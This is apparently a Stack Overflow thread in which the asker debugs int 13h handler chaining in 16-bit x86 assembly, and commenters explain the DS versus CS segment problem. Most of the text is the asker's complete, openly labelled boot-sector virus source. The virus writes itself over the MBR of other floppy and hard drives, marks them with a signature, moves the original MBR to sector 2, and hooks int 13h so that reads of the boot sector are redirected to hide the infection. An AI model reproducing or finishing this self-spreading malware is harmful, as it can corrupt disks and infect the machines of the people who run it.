0

I'm writing an int 13h hook in MBR (16 bit). I save old int vector as:

  mov ax, word [0x13*4]
  mov bx, word [0x13*4+2]
  mov [oldint13-cpy_original+0x7e00], ax
  mov [oldint13-cpy_original+0x7e00+2], bx

Because I relocated code in runtime, I had to compute correct location of oldint13 variable. All fine and dandy, when I check location of relocated oldint13 variable, there's the correct address (0xf000e3f3). Now after I hook int 13h, I want to call original int 13h handler as:

call [oldint13-cpy_original+0x7e00]

but it jumps to address 0. If I do checkup with:

mov ax, [oldint13-cpy_original+0x7e00]

ax becomes 0. (oldint13-cpy_original+0x7e00) correctly resolves to correct address and this address still contains correct original int 13h vector. Even disassembled code shows:

mov ax, [0x7e48]

which is correct.

Why on earth does it return 0 though? Is there a catch with 16 bits or something?

A complete copy of my bootloader code is as follows:

[bits 16]
org 0x7c00


start:
  cli                         ; no interrupt zone
  mov BYTE [bootDrive], dl    ; save boot drive, this is infected drive
  mov sp, 0xFFF8              ; stack pointer
  xor ax, ax
  mov ds, ax
  mov es, ax

                            ; let's save infected mbr to location 0x7e00
  mov al, 0x01              ; load 1 sector
  mov ah, 0x02              ; read sector
  mov bx, 0x7e00            ; destination address + ES
  mov cx, 0x0001            ; cylinder 0, sector=1
  xor dh, dh                ; head 0
  call wr_sector
  ; TODO: read from 0x7c00!!!!
  ; now it's time to iterate through disks
  xor di, di                ; our disk counter
dsk_lp:
  mov dl, [disk_codes+di]   ; load disk code from our table
  cmp dl, [bootDrive]       ; check if this is our infected drive
  je nxt_disk               ; this is our drive, just go to the next one

  mov ah, 0x02              ; read sector
  mov cx, 0x0001            ; cylinder 0, sector=1
  mov bx, 0x8000            ; load original mbr to 0x8000
  call wr_sector
  jc nxt_disk               ; if carry is set, disk doesn't exist (most likely)
  add bx, sig               ; check if this drive is already signed
  sub bx, 0x7c00            ; calculated offset for signature
  cmp word [bx], 0xDEAD     ; compare with our signature 0xDEAD
  je nxt_disk               ; if already signed, jump to next disk

  mov ah, 0x03              ; dirty business, copy our infected mbr to new drive
  mov bx, 0x7e00            ; we copied infected mbr to 0x7e00 earlier
  call wr_sector            ; perform write

  mov ah, 0x03
  mov cx, 0x0002            ; write original mbr to 2nd sector
  mov bx, 0x8000            ; we saved sector to 0x8000
  call wr_sector            ; perform write
nxt_disk:
  inc di                    ; increment our counter
  cmp di, 0x04              ; we are over the available disks
  jl dsk_lp                ; jump if lower than 4

; now we'll copy back original MBR and jump to it
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying
; original MBR
relocate:
  mov dl, [bootDrive]             ; retrieve current boot drive
  mov si, cpy_original            ; source address
  mov di, 0x7e00                  ; destination address, 0x7e00 in our case
  mov cx, end_cpy                 ; load end of code address
  sub cx, cpy_original            ; subtract start of code, cx = code length
  rep movsb                       ; copy stuff from source to dest address

  jmp 0x7e00                      ; jump to new address

; this code resides on 0x7e00 after copying
cpy_original:                   ; this code will copy original MBR to 0x7c00
  mov ah, 0x02                  ; read sector, ah = 0x02
  mov cx, 0x0002                ; read 2nd sector
  mov bx, 0x7c00                ; dest address
  call wr_sector                ; copy orignal MBR

  ; before we jump into org mbr, let's hook int 13h
  mov ax, word [0x13*4]
  mov bx, word [0x13*4+2]
  mov [oldint13-cpy_original+0x7e00], ax
  mov [oldint13-cpy_original+0x7e00+2], bx
  mov ax, dsk_hook
  sub ax, cpy_original
  add ax, 0x7e00
  mov word [0x13*4], ax
  mov word [0x13*4+2], 0
  ;mov ah, 0x02
  ;mov al, 0x01
  ;mov cx, 0x0001
  ;mov bx, 0x8000
  ;call wr_sector
  mov ax, 0xaa55
  jmp 0x0:0x7c00                  ; far jump to the original MBR

dsk_hook:
  nop
  pushf
  cmp ah, 0x02
  jne .end_hook
  cmp cx, 0x0001
  jne .end_hook
  mov cx, 0x0002
.end_hook:
  popf
  ;mov ax, [cs:oldint13-cpy_original+0x7e00]
  call [cs:oldint13-cpy_original+0x7e00]
  ;call 0xe3fe
  nop
  ;mov ax, ax
  ret

oldint13:
  dd 45                   ; var for saving int13 address

; write/read sector on disk, based on
; ah = 0x02 read, ah = 0x03 write
; dl = disk number
wr_sector:
  mov si, 0x03                ; max number of attempts to read from drive
  .lprs:
    int 0x13
    jnc .endrs                  ; alright carry was not set, read was successful
    dec si                      ; decrement counter
    jc .endrs
    pusha
    xor ah, ah                  ; ah = 0, reset disk
    int 0x13                    ; reset disk, we have to try this at most 3 times
    popa
    jmp .lprs
  .endrs:
    retn

end_cpy:                         ; end of code for copying original MBR


times (218 - ($-$$)) nop      ; Pad for disk time stamp

DiskTimeStamp times 8 db 0    ; Disk Time Stamp

bootDrive db 0                ; Our Drive Number Variable
disk_codes:                   ; available drives variable
  db 0x0                      ; first floppy disk
  db 0x1                      ; second floppy disk
  db 0x80                     ; first hard disk
  db 0x81                     ; second hard disk
sig dw 0xDEAD

times (0x1b4 - ($-$$)) nop    ; Pad For MBR Partition Table

UID times 10 db 0             ; Unique Disk ID
PT1 times 16 db 0             ; First Partition Entry
PT2 times 16 db 0             ; Second Partition Entry
PT3 times 16 db 0             ; Third Partition Entry
PT4 times 16 db 0             ; Fourth Partition Entry

dw 0xAA55                     ; Boot Signature
Michael Petch
  • 46,082
  • 8
  • 107
  • 198
jbargu
  • 86
  • 4
  • I assume by relocating you mean that you copied the 512 bytes from 0x7c00 to 0x7e00? What is `cpy_original`? It would help if you just provided your entire bootloader (can't imagine it is that big). On the topic of relocating a bootloader you could avoid a lot of the headaches by following this idea [I recently posted](http://stackoverflow.com/a/37379429/3857942) to another SO Question (regarding MBR relocation). This method would avoid doing the adjustments to variable offsets. I provided 2 answers. The one involving ORG 0x0000 might be easiest to consider. – Michael Petch May 26 '16 at 19:06
  • One concern I have about your call to the old interrupt vector is that `call [oldint13-cpy_original+0x7e00]` is actually `call [DS:oldint13-cpy_original+0x7e00]`. Is _DS_ correct in your interrupt handler? What happens if you over ride it with `CS:`? I suspect that your _DS_ segment is not 0x0000 in the interrupt handler and if it is anything but - you'll be reading the address to jump to from the wrong memory location. – Michael Petch May 26 '16 at 19:14
  • Show your complete code. Otherwise we're just guessing what the problem is. – Ross Ridge May 26 '16 at 19:20
  • Last year there was a fellow writing an interrupt handler routine (in a bootloader) that I responded to. He didn't do relocation, but I did discuss the issue of _DS_ from within an interrupt handler and accessing memory locations. Not sure if it is of any value, but you can find the answer [here](http://stackoverflow.com/a/34500963/3857942) – Michael Petch May 26 '16 at 19:27
  • I created repo [link](https://github.com/jbargu/mbr_virus/blob/master/virus.asm) although is a mess right now. I'm reading your links right now, sorry for late reply. From the looks of it I lack some knowledge about segments and stuff. – jbargu May 26 '16 at 19:37
  • I tried with CS register as suggested and it jumps alright, but doesn't correctly run the routine. `cpy_original` is bigger than 0x7c00, see code. – jbargu May 26 '16 at 19:38
  • I've copied your repo code into your question. – Michael Petch May 26 '16 at 19:40
  • Adding CS was the way to go! I wasn't aware MOV implicitly uses DS register. Thank you very much! I still have to figure it out how to properly call original handler though. Will you create an answer or do I need to do it? – jbargu May 26 '16 at 20:11
  • I almost consider this a duplicate of the other regarding the _CS_ override. You can add an answer, I have no problem with that. – Michael Petch May 26 '16 at 20:46

1 Answers1

0

Duplicate of this. MOV implicitly uses DS register, which was a random number. Changing it to CS, which is according to @Michael Petch the only correct register in interrupt handler:

mov ax, [cs:oldint13-cpy_original+0x7e00]
Community
  • 1
  • 1
jbargu
  • 86
  • 4
  • CS:IP is set according to what you write into the interrupt table. You can't rely on _DS_ being what you expect (upon entry to your interrupt handler) but _CS_ will be the segment value in the interrupt table that you placed there. Although overriding _CS_ is one way to solve the issue, you can set DS=CS in your interrupt handler, but you'd have to save the original _DS_ upon entry, set _DS_ to what you want (0x0000 or CS in your case) and then restore it when finished. – Michael Petch May 27 '16 at 06:27